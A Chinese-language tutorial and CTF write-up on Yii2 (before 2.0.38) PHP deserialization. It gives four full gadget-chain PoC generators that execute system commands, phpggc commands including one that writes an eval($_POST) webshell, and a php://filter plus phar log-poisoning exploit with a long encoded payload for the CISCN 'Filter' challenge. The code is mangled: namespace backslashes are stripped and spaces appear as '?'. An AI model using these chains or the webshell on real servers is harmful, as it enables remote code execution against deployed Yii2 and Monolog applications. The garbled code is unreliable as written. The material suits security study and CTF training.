本篇文章帶大家了解YII2框架,分享幾道ctf習題,通過它們來學習yii2框架,希望對大家有所幫助。
Yii是一套基于組件、用于開發大型 Web 應用的高性能 php 框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在調用unserialize()時,攻擊者可通過構造特定的惡意請求執行任意命令,本篇就分析一下yii2利用鏈以及如何自己去構造payload,并結合CTF題目去學習yii2框架
Yii2<2.0.38反序列化
安裝:在 https://github.com/yiisoft/yii2/releases下載2.0.37的版本
然后在 yii-basic-app-2.0.37basicconfigweb.php里面往cookieValidationKey隨意給點值,運行 php yii serve,新建一個控制器
yii-basic-app-2.0.37basiccontrollersTestController.php
<?php namespace appcontrollers; use yiiwebController; class TestController extends Controller{ public function actionTest($name){ return unserialize($name); } }
就可以進行測試了
?r=test/test&name=
鏈一
鏈的入口在
yii-basic-app-2.0.37basicvendoryiisoftyii2dbBatchQueryResult.php
public?function?__destruct() ????{ ????????//?make?sure?cursor?is?closed ????????$this->reset(); ????}
跟進$this->reset();
public?function?reset() ????{ ????????if?($this->_dataReader?!==?null)?{ ????????????$this->_dataReader->close(); ????????}
這里的$this->_dataReader可控,并調用了close()方法,那么可以找到一個類不存在close()方法,但存在__call方法就可以調用他了
在yii-basic-app-2.0.37basicvendoryiisoftyii2-giisrcGenerator.php
public?function?__call($method,?$attributes) ????{ ????????return?$this->format($method,?$attributes); ????}
這里的$method為close,$attributes為空,繼續跟進format
public?function?format($formatter,?$arguments?=?array()) ????{ ????????return?call_user_func_array($this->getFormatter($formatter),?$arguments); ????}
跟進getFormatter
public?function?getFormatter($formatter) ????{ ????????if?(isset($this->formatters[$formatter]))?{ ????????????return?$this->formatters[$formatter]; ????????}
似曾相識的代碼,laravel5.8某條鏈就出現過,這里$this->formatters可控,也就是$this->getFormatter($formatter)這這個可控,但是$arguments的值我們無法控制,值為空
到這里可以執行phpinfo了
<?php namespace yiidb{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader?=?$_dataReader; ????????} ????} } namespace?Faker{ ????class?Generator{ ????????protected?$formatters?=?array(); ????????public?function?__construct($formatters)?{ ????????????$this->formatters?=?$formatters; ????????} ????} } namespace?{ ????$a?=?new?FakerGenerator(array('close'=>'phpinfo')); ????$b?=?new?yiidbBatchQueryResult($a); ????print(urlencode(serialize($b))); }
但是我們想要rce的話,還要在yii2中已有的無參方法中進行挖掘
這里我們可以使用正則匹配直接搜索含有call_user_function的無參函數
call_user_func($this->([a-zA-Z0-9]+),?$this->([a-zA-Z0-9]+)
然后找到下面兩個都比較好用
yii-basic-app-2.0.37basicvendoryiisoftyii2restIndexAction.php public?function?run() ????{ ????????if?($this->checkAccess)?{ ????????????call_user_func($this->checkAccess,?$this->id); ????????} ????????return?$this->prepareDataProvider(); ????} yii-basic-app-2.0.37basicvendoryiisoftyii2restCreateAction.php public?function?run() { ????if?($this->checkAccess)?{ ????????call_user_func($this->checkAccess,?$this->id); }
這里的$this->checkAccess和$this->id都是我們可控的
所以直接構造就行了
<?php namespace yiidb{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader?=?$_dataReader; ????????} ????} } namespace?Faker{ ????class?Generator{ ????????protected?$formatters?=?array(); ????????public?function?__construct($formatters)?{ ????????????$this->formatters?=?$formatters; ????????} ????} } namespace?yiirest{ ????class?CreateAction{ ????????public?$checkAccess; ????????public?$id; ????????public?function?__construct($checkAccess,$id){ ????????????$this->checkAccess?=?$checkAccess; ????????????$this->id?=?$id; ????????} ????} } namespace?{ ????$c?=?new?yiirestCreateAction('system','whoami'); ????$b?=?new?FakerGenerator(array('close'=>array($c,?'run'))); ????$a?=?new?yiidbBatchQueryResult($b); ????print(urlencode(serialize($a))); }
鏈二
這個是yii2 2.0.37的另外一條鏈
起點和鏈一相同,是BatchQueryResult類的__destruct,然后是$this->_dataReader->close(),但是這里不找__call,我們去找存在close方法的類
找到yii-basic-app-2.0.37basicvendoryiisoftyii2webDbSession.php
class?DbSession?extends?MultiFieldSession { ... public?function?close() ????{ ????????if?($this->getIsActive())?{ ????????????//?prepare?writeCallback?fields?before?session?closes ????????????$this->fields?=?$this->composeFields();
這里跟進$this->composeFields()
abstract?class?MultiFieldSession?extends?Session { protected?function?composeFields($id?=?null,?$data?=?null) ????{ ????????$fields?=?$this->writeCallback???call_user_func($this->writeCallback,?$this)?:?[];
這里$this->writeCallback可控,$this是一個對象,所以這里調phpinfo的話應該不行,不過可以續上鏈一的run方法(即那個無參的方法)
這里直接構造即可
<?php namespace yiidb{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader?=?$_dataReader; ????????} ????} } namespace?yiiweb{ ????class?DbSession{ ????????public?$writeCallback; ????????public?function?__construct($writeCallback)?{ ????????????$this->writeCallback?=?$writeCallback; ????????} ????} } namespace?yiirest{ ????class?CreateAction{ ????????public?$checkAccess; ????????public?$id; ????????public?function?__construct($checkAccess,$id){ ????????????$this->checkAccess?=?$checkAccess; ????????????$this->id?=?$id; ????????} ????} } namespace?{ ????$c?=?new?yiirestCreateAction('system','whoami'); ????$b?=?new?yiiwebDbSession(array($c,?'run')); ????$a?=?new?yiidbBatchQueryResult($b); ????print(urlencode(serialize($a))); }
鏈三
我們可以在yii2 2.0.38的commit看到他加了一個__wakeup
這里限制了鏈一的起點BatchQueryResult無法使用,后面的__call的鏈沒有被破壞,所以我們繼續尋找一個__destruct
yii-basic-app-2.0.37basicvendorcodeceptioncodeceptionextRunProcess.php
public?function?__destruct() ????{ ????????$this->stopProcess(); ????}
這里繼續跟進stopProcess
public?function?stopProcess() ????{ ????????foreach?(array_reverse($this->processes)?as?$process)?{ ????????????/**?@var?$process?Process??**/ ????????????if?(!$process->isRunning())?{ ????????????????continue; ????????????}
這里的$this->processes可控,所以可以利用$process->isRunning()來進行觸發__call
后面的利用就和鏈一相同了
<?php namespace CodeceptionExtension{ class RunProcess{ private $processes = []; public function __construct($processes) { $this->processes[]?=?$processes; ????????} ????} } namespace?Faker{ ????class?Generator{ ????????protected?$formatters?=?array(); ????????public?function?__construct($formatters)?{ ????????????$this->formatters?=?$formatters; ????????} ????} } namespace?yiirest{ ????class?CreateAction{ ????????public?$checkAccess; ????????public?$id; ????????public?function?__construct($checkAccess,$id){ ????????????$this->checkAccess?=?$checkAccess; ????????????$this->id?=?$id; ????????} ????} } namespace?{ ????$c?=?new?yiirestCreateAction('system','whoami'); ????$b?=?new?FakerGenerator(array('isRunning'=>array($c,?'run'))); ????$a?=?new?CodeceptionExtensionRunProcess($b); ????print(urlencode(serialize($a))); }
鏈四
同樣的先找__destruct
yii-basic-app-2.0.37basicvendorswiftmailerswiftmailerlibclassesSwiftKeyCacheDiskKeyCache.php
public?function?__destruct() ????{ ????????foreach?($this->keys?as?$nsKey?=>?$null)?{ ????????????$this->clearAll($nsKey); ????????} ????}
這里$nsKey可控,跟進clearAll
public?function?clearAll($nsKey) ????{ ????????if?(array_key_exists($nsKey,?$this->keys))?{ ????????????foreach?($this->keys[$nsKey]?as?$itemKey?=>?$null)?{ ????????????????$this->clearKey($nsKey,?$itemKey); ????????????} ????????????if?(is_dir($this->path.'/'.$nsKey))?{ ????????????????rmdir($this->path.'/'.$nsKey); ????????????} ????????????unset($this->keys[$nsKey]); ????????} ????}
這里沒有觸發__call的地方,但是存在字符串的拼接,可以觸發__toString
隨便找找就找到了yii-basic-app-2.0.37basicvendorcodeceptioncodeceptionsrcCodeceptionUtilXmlBuilder.php
public?function?__toString() { ????return?$this->__dom__->saveXML(); }
同樣用他去觸發__call
<?php namespace { class Swift_KeyCache_DiskKeyCache{ private $path; private $keys = []; public function __construct($path,$keys) { $this->path?=?$path; ????????????$this->keys?=?$keys; ????????} ????} } namespace?CodeceptionUtil{ ????class?XmlBuilder{ ????????protected?$__dom__; ????????public?function?__construct($__dom__)?{ ????????????$this->__dom__?=?$__dom__; ????????} ????} } namespace?Faker{ ????class?Generator{ ????????protected?$formatters?=?array(); ????????public?function?__construct($formatters)?{ ????????????$this->formatters?=?$formatters; ????????} ????} } namespace?yiirest{ ????class?CreateAction{ ????????public?$checkAccess; ????????public?$id; ????????public?function?__construct($checkAccess,$id){ ????????????$this->checkAccess?=?$checkAccess; ????????????$this->id?=?$id; ????????} ????} } namespace?{ ????$c?=?new?yiirestCreateAction('system','whoami'); ????$b?=?new?FakerGenerator(array('saveXML'=>array($c,'run'))); ????$a?=?new?CodeceptionUtilXmlBuilder($b); ????$d?=?new?Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi')); ????print(urlencode(serialize($d))); }
phpggc
使用./phpggc -l yii2可以看到有兩條yii2的鏈
可以使用如下命令快速得到鏈,-u指url編碼
./phpggc?Yii2/RCE1?system?id?-u
phpggc的鏈二的終點是一個eval,所以這里可以直接寫shell,-b指base64編碼
./phpggc?Yii2/RCE2?'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));'?-b
CTF題目
[HMBCTF 2021]framework
把題目附件解壓,看到htmlcontrollersSiteController.php
class?SiteController?extends?Controller { ????public?function?actionAbout($message?=?'Hello') ????{ ????????$data?=?base64_decode($message); ????????unserialize($data); ????}
這里可以這樣傳參
?r=site/about&message=
拿鏈一打了一下,發現一下system等函數被ban
這里用phpggc yii2的鏈二寫一個shell進去,然后用蟻劍的 apache/mod 繞 disable,運行 /readflag 即可獲取 flag
[CISCN2021 Quals]Filter
據說這是配置文件里面的重要內容,或許對你有用!!
????????'log'?=>?[ ????????????'traceLevel'?=>?YII_DEBUG???0?:?0, ????????????'targets'?=>?[ ????????????????[ ????????????????????'class'?=>?'yiilogFileTarget', ????????????????????'levels'?=>?['error'], ????????????????????'logVars'?=>?[], ????????????????], ????????????], ????????],
看到附件的SiteController.php就改了這個地方
public?function?actionIndex() ????{ ????????$file?=?Yii::$app->request->get('file'); ????????$res?=?file_get_contents($file); ????????file_put_contents($file,$res); ????????return?$this->render('index'); ????}
yii框架的runtime/logs目錄下有一個app.log
看一下依賴發現monolog符合
"require":?{ ????????"php":?">=5.6.0", ????????"yiisoft/yii2":?"~2.0.14", ????????"yiisoft/yii2-bootstrap":?"~2.0.0", ????????"yiisoft/yii2-swiftmailer":?"~2.0.0?||?~2.1.0", ????"monolog/monolog":"1.19" ????},
首先清空日志文件
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
phpggc生成
php?-d'phar.readonly=0'?./phpggc?Monolog/RCE1?"phpinfo"?"1"?--phar?phar?-o?php://output?|?base64?-w0?|?python?-c?"import?sys;print(''.join(['='?+?hex(ord(i))[2:].zfill(2)?+?'=00'?for?i?in?sys.stdin.read()]).upper())"
寫入日志,注意最后面要加個字符a
/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=4A=00=41=00=61=00=47=00=73=00=75=00=53=00=31=00=47=00=68=00=54=00=49=00=2B=00=6B=00=4B=00=58=00=33=00=45=00=68=00=2B=00=4D=00=44=00=71=00=54=00=76=00=6E=00=6F=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a
保留phar的內容
/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
最后用phar協議打一下
/?file=phar://../runtime/logs/app.log/test.txt
然后在根目錄找到This_is_flaaagggg
然后用這個找一下flag即可
php?-d'phar.readonly=0'?./phpggc?Monolog/RCE1?"system"?"cat?/This_is_flaaagggg"?--phar?phar?-o?php://output?|?base64?-w0?|?python?-c?"import?sys;print(''.join(['='?+?hex(ord(i))[2:].zfill(2)?+?'=00'?for?i?in?sys.stdin.read()]).upper())"
本文涉及相關實驗:PHP反序列化漏洞實驗 (通過本次實驗,大家將會明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和預防此類漏洞。
相關文章教程推薦:《PHP反序列化漏洞實驗》